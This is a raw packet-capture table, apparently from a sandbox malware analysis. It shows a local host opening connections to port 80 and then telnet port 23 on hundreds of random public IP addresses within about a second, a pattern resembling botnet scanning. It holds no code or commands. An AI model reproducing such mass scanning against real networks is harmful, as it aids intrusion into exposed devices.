Jan 5, 2025 14:34:51.738003969 CET	80	29477	24.134.32.221	192.168.2.13
Jan 5, 2025 14:34:51.738007069 CET	80	29477	109.67.127.153	192.168.2.13
Jan 5, 2025 14:34:51.738008976 CET	29477	80	192.168.2.13	205.139.25.161
Jan 5, 2025 14:34:51.738015890 CET	80	29477	203.88.227.81	192.168.2.13
Jan 5, 2025 14:34:51.738022089 CET	80	29477	179.166.4.110	192.168.2.13
Jan 5, 2025 14:34:51.738030910 CET	80	29477	109.114.248.240	192.168.2.13
Jan 5, 2025 14:34:51.738030910 CET	29477	80	192.168.2.13	132.122.76.217
Jan 5, 2025 14:34:51.738030910 CET	29477	80	192.168.2.13	24.134.32.221
Jan 5, 2025 14:34:51.738035917 CET	29477	80	192.168.2.13	119.88.10.38
Jan 5, 2025 14:34:51.738039970 CET	80	29477	13.191.30.239	192.168.2.13
Jan 5, 2025 14:34:51.738039970 CET	29477	80	192.168.2.13	109.67.127.153
Jan 5, 2025 14:34:51.738044977 CET	29477	80	192.168.2.13	65.201.88.223
Jan 5, 2025 14:34:51.738044977 CET	29477	80	192.168.2.13	203.88.227.81
Jan 5, 2025 14:34:51.738048077 CET	80	29477	111.82.225.204	192.168.2.13
Jan 5, 2025 14:34:51.738048077 CET	29477	80	192.168.2.13	179.166.4.110
Jan 5, 2025 14:34:51.738059044 CET	80	29477	149.132.140.8	192.168.2.13
Jan 5, 2025 14:34:51.738063097 CET	29477	80	192.168.2.13	109.114.248.240
Jan 5, 2025 14:34:51.738069057 CET	80	29477	9.97.163.76	192.168.2.13
Jan 5, 2025 14:34:51.738065958 CET	29477	80	192.168.2.13	13.191.30.239
Jan 5, 2025 14:34:51.738081932 CET	80	29477	205.237.93.233	192.168.2.13
Jan 5, 2025 14:34:51.738095999 CET	80	29477	153.180.62.97	192.168.2.13
Jan 5, 2025 14:34:51.738104105 CET	80	29477	96.112.95.194	192.168.2.13
Jan 5, 2025 14:34:51.738114119 CET	80	29477	185.30.65.113	192.168.2.13
Jan 5, 2025 14:34:51.738122940 CET	80	29477	81.233.144.173	192.168.2.13
Jan 5, 2025 14:34:51.738133907 CET	80	29477	182.200.251.81	192.168.2.13
Jan 5, 2025 14:34:51.738142967 CET	29477	80	192.168.2.13	111.82.225.204
Jan 5, 2025 14:34:51.738142967 CET	29477	80	192.168.2.13	185.30.65.113
Jan 5, 2025 14:34:51.738143921 CET	80	29477	156.201.218.21	192.168.2.13
Jan 5, 2025 14:34:51.738147020 CET	29477	80	192.168.2.13	205.237.93.233
Jan 5, 2025 14:34:51.738147020 CET	29477	80	192.168.2.13	96.112.95.194
Jan 5, 2025 14:34:51.738151073 CET	29477	80	192.168.2.13	9.97.163.76
Jan 5, 2025 14:34:51.738157988 CET	80	29477	87.231.186.129	192.168.2.13
Jan 5, 2025 14:34:51.738161087 CET	29477	80	192.168.2.13	81.233.144.173
Jan 5, 2025 14:34:51.738167048 CET	80	29477	86.56.252.134	192.168.2.13
Jan 5, 2025 14:34:51.738168001 CET	29477	80	192.168.2.13	182.200.251.81
Jan 5, 2025 14:34:51.738173962 CET	29477	80	192.168.2.13	156.201.218.21
Jan 5, 2025 14:34:51.738176107 CET	29477	80	192.168.2.13	87.231.186.129
Jan 5, 2025 14:34:51.738177061 CET	80	29477	66.205.182.216	192.168.2.13
Jan 5, 2025 14:34:51.738189936 CET	80	29477	165.47.142.38	192.168.2.13
Jan 5, 2025 14:34:51.738198996 CET	80	29477	180.195.49.173	192.168.2.13
Jan 5, 2025 14:34:51.738207102 CET	29477	80	192.168.2.13	86.56.252.134
Jan 5, 2025 14:34:51.738208055 CET	80	29477	93.240.222.10	192.168.2.13
Jan 5, 2025 14:34:51.738207102 CET	29477	80	192.168.2.13	66.205.182.216
Jan 5, 2025 14:34:51.738212109 CET	80	29477	86.167.73.171	192.168.2.13
Jan 5, 2025 14:34:51.738220930 CET	29477	80	192.168.2.13	149.132.140.8
Jan 5, 2025 14:34:51.738220930 CET	29477	80	192.168.2.13	153.180.62.97
Jan 5, 2025 14:34:51.738221884 CET	80	29477	88.146.154.167	192.168.2.13
Jan 5, 2025 14:34:51.738224983 CET	29477	80	192.168.2.13	165.47.142.38
Jan 5, 2025 14:34:51.738235950 CET	29477	80	192.168.2.13	93.240.222.10
Jan 5, 2025 14:34:51.738235950 CET	29477	80	192.168.2.13	180.195.49.173
Jan 5, 2025 14:34:51.738246918 CET	29477	80	192.168.2.13	88.146.154.167
Jan 5, 2025 14:34:51.738250971 CET	29477	80	192.168.2.13	86.167.73.171
Jan 5, 2025 14:34:51.738328934 CET	80	29477	40.63.201.209	192.168.2.13
Jan 5, 2025 14:34:51.738338947 CET	80	29477	142.94.95.182	192.168.2.13
Jan 5, 2025 14:34:51.738348007 CET	80	29477	109.140.250.34	192.168.2.13
Jan 5, 2025 14:34:51.738358021 CET	80	29477	103.133.246.89	192.168.2.13
Jan 5, 2025 14:34:51.738367081 CET	29477	80	192.168.2.13	40.63.201.209
Jan 5, 2025 14:34:51.738368034 CET	80	29477	135.230.162.55	192.168.2.13
Jan 5, 2025 14:34:51.738369942 CET	29477	80	192.168.2.13	142.94.95.182
Jan 5, 2025 14:34:51.738372087 CET	29477	80	192.168.2.13	109.140.250.34
Jan 5, 2025 14:34:51.738377094 CET	80	29477	122.89.196.170	192.168.2.13
Jan 5, 2025 14:34:51.738385916 CET	80	29477	205.167.150.175	192.168.2.13
Jan 5, 2025 14:34:51.738389015 CET	29477	80	192.168.2.13	103.133.246.89
Jan 5, 2025 14:34:51.738394976 CET	80	29477	137.108.7.38	192.168.2.13
Jan 5, 2025 14:34:51.738399029 CET	29477	80	192.168.2.13	135.230.162.55
Jan 5, 2025 14:34:51.738399029 CET	29477	80	192.168.2.13	122.89.196.170
Jan 5, 2025 14:34:51.738404989 CET	80	29477	115.76.183.188	192.168.2.13
Jan 5, 2025 14:34:51.738406897 CET	29477	80	192.168.2.13	205.167.150.175
Jan 5, 2025 14:34:51.738414049 CET	80	29477	200.24.228.160	192.168.2.13
Jan 5, 2025 14:34:51.738423109 CET	80	29477	193.71.237.4	192.168.2.13
Jan 5, 2025 14:34:51.738432884 CET	80	29477	175.154.169.11	192.168.2.13
Jan 5, 2025 14:34:51.738440990 CET	80	29477	165.224.117.71	192.168.2.13
Jan 5, 2025 14:34:51.738451004 CET	80	29477	173.193.233.241	192.168.2.13
Jan 5, 2025 14:34:51.738460064 CET	80	29477	70.3.129.225	192.168.2.13
Jan 5, 2025 14:34:51.738468885 CET	80	29477	147.122.68.226	192.168.2.13
Jan 5, 2025 14:34:51.738476038 CET	29477	80	192.168.2.13	137.108.7.38
Jan 5, 2025 14:34:51.738477945 CET	80	29477	95.121.74.20	192.168.2.13
Jan 5, 2025 14:34:51.738487005 CET	80	29477	86.201.131.217	192.168.2.13
Jan 5, 2025 14:34:51.738490105 CET	29477	80	192.168.2.13	193.71.237.4
Jan 5, 2025 14:34:51.738490105 CET	29477	80	192.168.2.13	173.193.233.241
Jan 5, 2025 14:34:51.738490105 CET	29477	80	192.168.2.13	70.3.129.225
Jan 5, 2025 14:34:51.738496065 CET	29477	80	192.168.2.13	200.24.228.160
Jan 5, 2025 14:34:51.738496065 CET	29477	80	192.168.2.13	165.224.117.71
Jan 5, 2025 14:34:51.738497019 CET	80	29477	143.226.65.225	192.168.2.13
Jan 5, 2025 14:34:51.738507032 CET	80	29477	116.245.189.59	192.168.2.13
Jan 5, 2025 14:34:51.738507986 CET	29477	80	192.168.2.13	95.121.74.20
Jan 5, 2025 14:34:51.738514900 CET	80	29477	27.155.161.52	192.168.2.13
Jan 5, 2025 14:34:51.738524914 CET	80	29477	130.59.5.95	192.168.2.13
Jan 5, 2025 14:34:51.738528967 CET	29477	80	192.168.2.13	143.226.65.225
Jan 5, 2025 14:34:51.738533974 CET	29477	80	192.168.2.13	116.245.189.59
Jan 5, 2025 14:34:51.738534927 CET	80	29477	40.204.123.177	192.168.2.13
Jan 5, 2025 14:34:51.738547087 CET	80	29477	116.236.169.67	192.168.2.13
Jan 5, 2025 14:34:51.738554955 CET	80	29477	58.167.171.195	192.168.2.13
Jan 5, 2025 14:34:51.738557100 CET	29477	80	192.168.2.13	130.59.5.95
Jan 5, 2025 14:34:51.738559008 CET	29477	80	192.168.2.13	115.76.183.188
Jan 5, 2025 14:34:51.738559008 CET	29477	80	192.168.2.13	175.154.169.11
Jan 5, 2025 14:34:51.738559008 CET	29477	80	192.168.2.13	147.122.68.226
Jan 5, 2025 14:34:51.738559008 CET	29477	80	192.168.2.13	86.201.131.217
Jan 5, 2025 14:34:51.738559008 CET	29477	80	192.168.2.13	27.155.161.52
Jan 5, 2025 14:34:51.738564014 CET	80	29477	126.29.182.49	192.168.2.13
Jan 5, 2025 14:34:51.738567114 CET	29477	80	192.168.2.13	40.204.123.177
Jan 5, 2025 14:34:51.738574028 CET	80	29477	168.133.155.36	192.168.2.13
Jan 5, 2025 14:34:51.738584042 CET	80	29477	130.220.36.79	192.168.2.13
Jan 5, 2025 14:34:51.738584995 CET	29477	80	192.168.2.13	116.236.169.67
Jan 5, 2025 14:34:51.738586903 CET	29477	80	192.168.2.13	58.167.171.195
Jan 5, 2025 14:34:51.738596916 CET	29477	80	192.168.2.13	126.29.182.49
Jan 5, 2025 14:34:51.738606930 CET	29477	80	192.168.2.13	168.133.155.36
Jan 5, 2025 14:34:51.738616943 CET	29477	80	192.168.2.13	130.220.36.79
Jan 5, 2025 14:34:51.738702059 CET	80	29477	133.190.153.81	192.168.2.13
Jan 5, 2025 14:34:51.738713026 CET	80	29477	148.91.161.225	192.168.2.13
Jan 5, 2025 14:34:51.738723040 CET	80	29477	168.208.200.241	192.168.2.13
Jan 5, 2025 14:34:51.738732100 CET	80	29477	91.237.134.158	192.168.2.13
Jan 5, 2025 14:34:51.738740921 CET	80	29477	199.139.159.249	192.168.2.13
Jan 5, 2025 14:34:51.738744020 CET	29477	80	192.168.2.13	133.190.153.81
Jan 5, 2025 14:34:51.738748074 CET	29477	80	192.168.2.13	148.91.161.225
Jan 5, 2025 14:34:51.738751888 CET	80	29477	153.248.231.181	192.168.2.13
Jan 5, 2025 14:34:51.738754988 CET	29477	80	192.168.2.13	168.208.200.241
Jan 5, 2025 14:34:51.738760948 CET	80	29477	171.74.28.30	192.168.2.13
Jan 5, 2025 14:34:51.738764048 CET	29477	80	192.168.2.13	91.237.134.158
Jan 5, 2025 14:34:51.738770008 CET	80	29477	67.10.241.128	192.168.2.13
Jan 5, 2025 14:34:51.738774061 CET	29477	80	192.168.2.13	153.248.231.181
Jan 5, 2025 14:34:51.738778114 CET	29477	80	192.168.2.13	199.139.159.249
Jan 5, 2025 14:34:51.738779068 CET	80	29477	208.230.144.209	192.168.2.13
Jan 5, 2025 14:34:51.738786936 CET	29477	80	192.168.2.13	171.74.28.30
Jan 5, 2025 14:34:51.738789082 CET	80	29477	129.124.185.124	192.168.2.13
Jan 5, 2025 14:34:51.738801003 CET	80	29477	147.244.104.190	192.168.2.13
Jan 5, 2025 14:34:51.738802910 CET	29477	80	192.168.2.13	208.230.144.209
Jan 5, 2025 14:34:51.738804102 CET	29477	80	192.168.2.13	67.10.241.128
Jan 5, 2025 14:34:51.738811016 CET	80	29477	52.226.185.165	192.168.2.13
Jan 5, 2025 14:34:51.738820076 CET	80	29477	108.25.150.246	192.168.2.13
Jan 5, 2025 14:34:51.738828897 CET	80	29477	121.31.59.82	192.168.2.13
Jan 5, 2025 14:34:51.738837957 CET	80	29477	17.36.82.155	192.168.2.13
Jan 5, 2025 14:34:51.738842010 CET	29477	80	192.168.2.13	52.226.185.165
Jan 5, 2025 14:34:51.738842964 CET	29477	80	192.168.2.13	147.244.104.190
Jan 5, 2025 14:34:51.738847017 CET	29477	80	192.168.2.13	129.124.185.124
Jan 5, 2025 14:34:51.738848925 CET	80	29477	135.106.106.180	192.168.2.13
Jan 5, 2025 14:34:51.738858938 CET	80	29477	222.28.167.67	192.168.2.13
Jan 5, 2025 14:34:51.738868952 CET	80	29477	180.144.22.170	192.168.2.13
Jan 5, 2025 14:34:51.738877058 CET	29477	80	192.168.2.13	108.25.150.246
Jan 5, 2025 14:34:51.738878012 CET	80	29477	34.232.51.130	192.168.2.13
Jan 5, 2025 14:34:51.738877058 CET	29477	80	192.168.2.13	17.36.82.155
Jan 5, 2025 14:34:51.738887072 CET	29477	80	192.168.2.13	121.31.59.82
Jan 5, 2025 14:34:51.738887072 CET	29477	80	192.168.2.13	135.106.106.180
Jan 5, 2025 14:34:51.738887072 CET	80	29477	157.103.220.139	192.168.2.13
Jan 5, 2025 14:34:51.738897085 CET	80	29477	12.219.148.175	192.168.2.13
Jan 5, 2025 14:34:51.738903046 CET	29477	80	192.168.2.13	222.28.167.67
Jan 5, 2025 14:34:51.738903046 CET	29477	80	192.168.2.13	180.144.22.170
Jan 5, 2025 14:34:51.738903046 CET	29477	80	192.168.2.13	34.232.51.130
Jan 5, 2025 14:34:51.738905907 CET	80	29477	125.182.35.146	192.168.2.13
Jan 5, 2025 14:34:51.738915920 CET	29477	80	192.168.2.13	157.103.220.139
Jan 5, 2025 14:34:51.738915920 CET	29477	80	192.168.2.13	12.219.148.175
Jan 5, 2025 14:34:51.738917112 CET	80	29477	124.183.57.94	192.168.2.13
Jan 5, 2025 14:34:51.738923073 CET	80	29477	8.232.12.166	192.168.2.13
Jan 5, 2025 14:34:51.738950968 CET	29477	80	192.168.2.13	125.182.35.146
Jan 5, 2025 14:34:51.738950968 CET	29477	80	192.168.2.13	124.183.57.94
Jan 5, 2025 14:34:51.739011049 CET	29477	80	192.168.2.13	8.232.12.166
Jan 5, 2025 14:34:51.744391918 CET	48244	23	192.168.2.13	2.152.67.210
Jan 5, 2025 14:34:51.749182940 CET	23	48244	2.152.67.210	192.168.2.13
Jan 5, 2025 14:34:51.749229908 CET	48244	23	192.168.2.13	2.152.67.210
Jan 5, 2025 14:34:51.767834902 CET	41316	23	192.168.2.13	218.190.219.79
Jan 5, 2025 14:34:51.768362045 CET	51162	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:51.772253990 CET	49868	23	192.168.2.13	148.18.74.211
Jan 5, 2025 14:34:51.772664070 CET	23	41316	218.190.219.79	192.168.2.13
Jan 5, 2025 14:34:51.772721052 CET	41316	23	192.168.2.13	218.190.219.79
Jan 5, 2025 14:34:51.773189068 CET	59666	51162	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:51.773240089 CET	51162	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:51.774725914 CET	40140	23	192.168.2.13	151.167.86.164
Jan 5, 2025 14:34:51.774859905 CET	51162	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:51.775851011 CET	57476	23	192.168.2.13	61.24.150.47
Jan 5, 2025 14:34:51.779685020 CET	59666	51162	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:51.779721975 CET	51162	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:51.780675888 CET	23	57476	61.24.150.47	192.168.2.13
Jan 5, 2025 14:34:51.780746937 CET	57476	23	192.168.2.13	61.24.150.47
Jan 5, 2025 14:34:51.784488916 CET	59666	51162	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:51.790041924 CET	47424	23	192.168.2.13	178.148.48.168
Jan 5, 2025 14:34:51.792573929 CET	40718	23	192.168.2.13	124.30.231.141
Jan 5, 2025 14:34:51.794001102 CET	54236	23	192.168.2.13	108.54.252.117
Jan 5, 2025 14:34:51.794737101 CET	43718	23	192.168.2.13	116.6.67.71
Jan 5, 2025 14:34:51.795001984 CET	23	47424	178.148.48.168	192.168.2.13
Jan 5, 2025 14:34:51.795047045 CET	47424	23	192.168.2.13	178.148.48.168
Jan 5, 2025 14:34:51.795928001 CET	53252	23	192.168.2.13	20.136.18.142
Jan 5, 2025 14:34:51.800833941 CET	23	53252	20.136.18.142	192.168.2.13
Jan 5, 2025 14:34:51.800903082 CET	53252	23	192.168.2.13	20.136.18.142
Jan 5, 2025 14:34:51.808815002 CET	37326	23	192.168.2.13	190.127.212.84
Jan 5, 2025 14:34:51.809962034 CET	52018	23	192.168.2.13	210.132.41.207
Jan 5, 2025 14:34:51.811475039 CET	33742	23	192.168.2.13	199.102.116.109
Jan 5, 2025 14:34:51.812858105 CET	48996	23	192.168.2.13	103.102.48.33
Jan 5, 2025 14:34:51.813714027 CET	23	37326	190.127.212.84	192.168.2.13
Jan 5, 2025 14:34:51.813757896 CET	37326	23	192.168.2.13	190.127.212.84
Jan 5, 2025 14:34:51.814171076 CET	43298	23	192.168.2.13	9.159.71.35
Jan 5, 2025 14:34:51.815505981 CET	49796	23	192.168.2.13	212.199.188.122
Jan 5, 2025 14:34:51.816632986 CET	44874	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:51.818173885 CET	41584	23	192.168.2.13	77.212.251.73
Jan 5, 2025 14:34:51.819788933 CET	54366	23	192.168.2.13	193.138.201.14
Jan 5, 2025 14:34:51.820369959 CET	23	49796	212.199.188.122	192.168.2.13
Jan 5, 2025 14:34:51.820452929 CET	49796	23	192.168.2.13	212.199.188.122
Jan 5, 2025 14:34:51.820904970 CET	41162	23	192.168.2.13	23.252.32.13
Jan 5, 2025 14:34:51.822355032 CET	60026	23	192.168.2.13	172.137.92.232
Jan 5, 2025 14:34:51.823681116 CET	59984	23	192.168.2.13	84.96.230.45
Jan 5, 2025 14:34:51.825946093 CET	45200	23	192.168.2.13	161.107.126.215
Jan 5, 2025 14:34:51.827186108 CET	33814	23	192.168.2.13	159.228.21.229
Jan 5, 2025 14:34:51.828536987 CET	23	59984	84.96.230.45	192.168.2.13
Jan 5, 2025 14:34:51.828608036 CET	59984	23	192.168.2.13	84.96.230.45
Jan 5, 2025 14:34:51.829114914 CET	34204	23	192.168.2.13	117.41.8.6
Jan 5, 2025 14:34:51.830854893 CET	48588	23	192.168.2.13	89.187.214.24
Jan 5, 2025 14:34:51.832390070 CET	50116	23	192.168.2.13	165.27.223.215
Jan 5, 2025 14:34:51.833700895 CET	36216	23	192.168.2.13	42.206.9.68
Jan 5, 2025 14:34:51.835433006 CET	52420	23	192.168.2.13	180.236.235.37
Jan 5, 2025 14:34:51.837346077 CET	43696	23	192.168.2.13	189.210.252.131
Jan 5, 2025 14:34:51.838895082 CET	40856	23	192.168.2.13	94.239.228.202
Jan 5, 2025 14:34:51.839993954 CET	52848	23	192.168.2.13	176.62.17.197
Jan 5, 2025 14:34:51.840284109 CET	23	52420	180.236.235.37	192.168.2.13
Jan 5, 2025 14:34:51.840342045 CET	52420	23	192.168.2.13	180.236.235.37
Jan 5, 2025 14:34:51.841134071 CET	55278	23	192.168.2.13	174.99.165.96
Jan 5, 2025 14:34:51.842281103 CET	57844	23	192.168.2.13	216.73.220.29
Jan 5, 2025 14:34:51.843775034 CET	36364	23	192.168.2.13	137.133.61.92
Jan 5, 2025 14:34:51.845098019 CET	58640	23	192.168.2.13	116.62.184.45
Jan 5, 2025 14:34:51.846685886 CET	55994	23	192.168.2.13	124.249.59.186
Jan 5, 2025 14:34:51.848109007 CET	56522	23	192.168.2.13	88.49.37.108
Jan 5, 2025 14:34:51.850054979 CET	53708	23	192.168.2.13	70.6.210.210
Jan 5, 2025 14:34:51.851438999 CET	45360	23	192.168.2.13	95.137.136.0
Jan 5, 2025 14:34:51.853118896 CET	34882	23	192.168.2.13	69.102.43.202
Jan 5, 2025 14:34:51.854787111 CET	33598	23	192.168.2.13	71.72.102.221
Jan 5, 2025 14:34:51.856182098 CET	60518	23	192.168.2.13	65.6.171.137
Jan 5, 2025 14:34:51.856970072 CET	41798	23	192.168.2.13	164.163.92.248
Jan 5, 2025 14:34:51.857842922 CET	43598	23	192.168.2.13	209.167.167.43
Jan 5, 2025 14:34:51.858803988 CET	50860	23	192.168.2.13	120.177.111.158
Jan 5, 2025 14:34:51.859792948 CET	55768	23	192.168.2.13	84.160.137.155
Jan 5, 2025 14:34:51.860626936 CET	41678	23	192.168.2.13	141.166.199.240
Jan 5, 2025 14:34:51.861442089 CET	45276	23	192.168.2.13	113.1.234.68
Jan 5, 2025 14:34:51.862303019 CET	53486	23	192.168.2.13	157.159.238.248
Jan 5, 2025 14:34:51.863172054 CET	50306	23	192.168.2.13	18.35.143.196
Jan 5, 2025 14:34:51.863990068 CET	50288	23	192.168.2.13	136.222.253.62
Jan 5, 2025 14:34:51.864814997 CET	41898	23	192.168.2.13	223.130.156.254
Jan 5, 2025 14:34:51.865649939 CET	36564	23	192.168.2.13	188.42.65.65
Jan 5, 2025 14:34:51.866610050 CET	35384	23	192.168.2.13	119.98.226.210
Jan 5, 2025 14:34:51.867523909 CET	46964	23	192.168.2.13	69.238.78.79
Jan 5, 2025 14:34:51.868355989 CET	59646	23	192.168.2.13	84.19.213.225
Jan 5, 2025 14:34:51.869075060 CET	51592	23	192.168.2.13	136.77.55.253
Jan 5, 2025 14:34:51.869992971 CET	57670	23	192.168.2.13	191.166.58.189
Jan 5, 2025 14:34:51.870894909 CET	35548	23	192.168.2.13	17.135.91.220
Jan 5, 2025 14:34:51.871772051 CET	55160	23	192.168.2.13	82.114.48.162
Jan 5, 2025 14:34:51.888746023 CET	34100	23	192.168.2.13	207.216.222.43
Jan 5, 2025 14:34:51.889607906 CET	37890	23	192.168.2.13	70.133.137.245
Jan 5, 2025 14:34:51.890414953 CET	40350	23	192.168.2.13	69.53.157.205
Jan 5, 2025 14:34:51.891206980 CET	33764	23	192.168.2.13	35.234.113.178
Jan 5, 2025 14:34:51.892132044 CET	38054	23	192.168.2.13	67.124.151.66
Jan 5, 2025 14:34:51.892951012 CET	36238	23	192.168.2.13	160.55.88.43
Jan 5, 2025 14:34:51.893841982 CET	40198	23	192.168.2.13	204.126.194.150
Jan 5, 2025 14:34:51.894736052 CET	39338	23	192.168.2.13	138.36.223.72
Jan 5, 2025 14:34:51.895685911 CET	47720	23	192.168.2.13	36.216.206.89
Jan 5, 2025 14:34:51.896636009 CET	45944	23	192.168.2.13	110.23.108.178
Jan 5, 2025 14:34:51.897438049 CET	41524	23	192.168.2.13	70.17.146.154
Jan 5, 2025 14:34:51.898257017 CET	49888	23	192.168.2.13	157.119.15.147
Jan 5, 2025 14:34:51.899072886 CET	59986	23	192.168.2.13	72.176.82.174
Jan 5, 2025 14:34:51.900002003 CET	51224	23	192.168.2.13	118.244.137.53
Jan 5, 2025 14:34:51.900855064 CET	45558	23	192.168.2.13	207.178.143.202
Jan 5, 2025 14:34:51.901691914 CET	46138	23	192.168.2.13	148.231.139.46
Jan 5, 2025 14:34:51.902506113 CET	47884	23	192.168.2.13	75.65.77.94
Jan 5, 2025 14:34:51.903399944 CET	59888	23	192.168.2.13	132.147.186.17
Jan 5, 2025 14:34:51.904225111 CET	43574	23	192.168.2.13	164.69.214.149
Jan 5, 2025 14:34:51.905072927 CET	47788	23	192.168.2.13	20.105.176.211
Jan 5, 2025 14:34:51.905880928 CET	34082	23	192.168.2.13	34.34.62.125
Jan 5, 2025 14:34:51.906824112 CET	42442	23	192.168.2.13	133.16.187.164
Jan 5, 2025 14:34:51.907623053 CET	42394	23	192.168.2.13	135.20.8.103
Jan 5, 2025 14:34:51.908499956 CET	42694	23	192.168.2.13	191.28.203.118
Jan 5, 2025 14:34:51.909387112 CET	57260	23	192.168.2.13	133.130.255.226
Jan 5, 2025 14:34:51.910193920 CET	35926	23	192.168.2.13	77.153.239.134
Jan 5, 2025 14:34:51.911078930 CET	35594	23	192.168.2.13	64.110.223.253
Jan 5, 2025 14:34:51.911942005 CET	44832	23	192.168.2.13	168.97.13.213
Jan 5, 2025 14:34:51.912796974 CET	34562	23	192.168.2.13	175.101.166.97
Jan 5, 2025 14:34:51.913599014 CET	55496	23	192.168.2.13	85.198.247.101
Jan 5, 2025 14:34:51.914427996 CET	41036	23	192.168.2.13	103.165.122.61
Jan 5, 2025 14:34:51.915349007 CET	58192	23	192.168.2.13	58.228.92.114
Jan 5, 2025 14:34:51.916152954 CET	45036	23	192.168.2.13	67.157.1.194
Jan 5, 2025 14:34:51.916975975 CET	51828	23	192.168.2.13	19.66.193.236
Jan 5, 2025 14:34:51.917790890 CET	40636	23	192.168.2.13	75.59.253.228
Jan 5, 2025 14:34:51.918745041 CET	53744	23	192.168.2.13	67.20.221.51
Jan 5, 2025 14:34:51.919612885 CET	49012	23	192.168.2.13	59.254.232.109
Jan 5, 2025 14:34:51.920500040 CET	44458	23	192.168.2.13	38.238.163.136
Jan 5, 2025 14:34:51.921344995 CET	60026	23	192.168.2.13	126.67.151.215
Jan 5, 2025 14:34:51.922251940 CET	42902	23	192.168.2.13	170.34.2.47
Jan 5, 2025 14:34:51.923274994 CET	39374	23	192.168.2.13	167.103.135.156
Jan 5, 2025 14:34:51.924338102 CET	55262	23	192.168.2.13	169.80.53.224
Jan 5, 2025 14:34:51.925354958 CET	34876	23	192.168.2.13	141.206.189.98
Jan 5, 2025 14:34:51.926776886 CET	33072	23	192.168.2.13	185.149.71.50
Jan 5, 2025 14:34:51.927839994 CET	45336	23	192.168.2.13	17.71.221.122
Jan 5, 2025 14:34:51.929014921 CET	59084	23	192.168.2.13	80.75.34.72
Jan 5, 2025 14:34:51.930067062 CET	52142	23	192.168.2.13	137.2.203.113
Jan 5, 2025 14:34:51.930946112 CET	55508	23	192.168.2.13	206.170.148.214
Jan 5, 2025 14:34:51.931875944 CET	40902	23	192.168.2.13	159.34.126.131
Jan 5, 2025 14:34:51.932673931 CET	41674	23	192.168.2.13	193.221.3.204
Jan 5, 2025 14:34:51.933551073 CET	38446	23	192.168.2.13	173.34.108.81
Jan 5, 2025 14:34:51.934473038 CET	59574	23	192.168.2.13	113.246.89.170
Jan 5, 2025 14:34:51.935333967 CET	59810	23	192.168.2.13	94.179.87.29
Jan 5, 2025 14:34:51.936125040 CET	56576	23	192.168.2.13	117.202.251.54
Jan 5, 2025 14:34:51.936971903 CET	38976	23	192.168.2.13	201.200.28.86
Jan 5, 2025 14:34:51.937752962 CET	51672	23	192.168.2.13	25.88.34.154
Jan 5, 2025 14:34:51.938689947 CET	43148	23	192.168.2.13	45.192.98.116
Jan 5, 2025 14:34:51.939538002 CET	35070	23	192.168.2.13	124.184.168.141
Jan 5, 2025 14:34:51.940392971 CET	60274	23	192.168.2.13	200.5.75.161
Jan 5, 2025 14:34:51.941260099 CET	47414	23	192.168.2.13	117.211.174.252
Jan 5, 2025 14:34:51.942169905 CET	35832	23	192.168.2.13	53.94.45.161
Jan 5, 2025 14:34:51.943070889 CET	35908	23	192.168.2.13	84.81.61.163
Jan 5, 2025 14:34:51.943893909 CET	55672	23	192.168.2.13	58.100.145.81
Jan 5, 2025 14:34:51.944752932 CET	58244	23	192.168.2.13	116.181.72.250
Jan 5, 2025 14:34:51.960695982 CET	49770	23	192.168.2.13	41.47.163.213
Jan 5, 2025 14:34:51.961559057 CET	37754	23	192.168.2.13	164.245.203.110
Jan 5, 2025 14:34:52.046900988 CET	23	36364	137.133.61.92	192.168.2.13
Jan 5, 2025 14:34:52.046925068 CET	23	60518	65.6.171.137	192.168.2.13
Jan 5, 2025 14:34:52.046936035 CET	23	50288	136.222.253.62	192.168.2.13
Jan 5, 2025 14:34:52.046947002 CET	23	34100	207.216.222.43	192.168.2.13
Jan 5, 2025 14:34:52.046957016 CET	23	37890	70.133.137.245	192.168.2.13
Jan 5, 2025 14:34:52.046967030 CET	23	47720	36.216.206.89	192.168.2.13
Jan 5, 2025 14:34:52.046977997 CET	23	59888	132.147.186.17	192.168.2.13
Jan 5, 2025 14:34:52.046987057 CET	23	58192	58.228.92.114	192.168.2.13
Jan 5, 2025 14:34:52.046997070 CET	23	55262	169.80.53.224	192.168.2.13
Jan 5, 2025 14:34:52.047007084 CET	23	59810	94.179.87.29	192.168.2.13
Jan 5, 2025 14:34:52.047015905 CET	23	55672	58.100.145.81	192.168.2.13
Jan 5, 2025 14:34:52.047024965 CET	23	49770	41.47.163.213	192.168.2.13
Jan 5, 2025 14:34:52.047139883 CET	60518	23	192.168.2.13	65.6.171.137
Jan 5, 2025 14:34:52.047142982 CET	50288	23	192.168.2.13	136.222.253.62
Jan 5, 2025 14:34:52.047148943 CET	34100	23	192.168.2.13	207.216.222.43
Jan 5, 2025 14:34:52.047148943 CET	36364	23	192.168.2.13	137.133.61.92
Jan 5, 2025 14:34:52.047148943 CET	37890	23	192.168.2.13	70.133.137.245
Jan 5, 2025 14:34:52.047168016 CET	59810	23	192.168.2.13	94.179.87.29
Jan 5, 2025 14:34:52.047173977 CET	55672	23	192.168.2.13	58.100.145.81
Jan 5, 2025 14:34:52.047193050 CET	58192	23	192.168.2.13	58.228.92.114
Jan 5, 2025 14:34:52.047193050 CET	47720	23	192.168.2.13	36.216.206.89
Jan 5, 2025 14:34:52.047193050 CET	59888	23	192.168.2.13	132.147.186.17
Jan 5, 2025 14:34:52.047193050 CET	55262	23	192.168.2.13	169.80.53.224
Jan 5, 2025 14:34:52.047193050 CET	49770	23	192.168.2.13	41.47.163.213
Jan 5, 2025 14:34:52.047301054 CET	29476	23	192.168.2.13	40.219.40.238
Jan 5, 2025 14:34:52.047311068 CET	29476	23	192.168.2.13	182.37.27.125
Jan 5, 2025 14:34:52.047326088 CET	29476	23	192.168.2.13	103.159.252.197
Jan 5, 2025 14:34:52.047332048 CET	29476	23	192.168.2.13	90.140.139.125
Jan 5, 2025 14:34:52.047338963 CET	29476	23	192.168.2.13	202.9.154.101
Jan 5, 2025 14:34:52.047338963 CET	29476	23	192.168.2.13	154.223.204.195
Jan 5, 2025 14:34:52.047338963 CET	29476	23	192.168.2.13	12.14.95.242
Jan 5, 2025 14:34:52.047341108 CET	29476	23	192.168.2.13	9.70.155.106
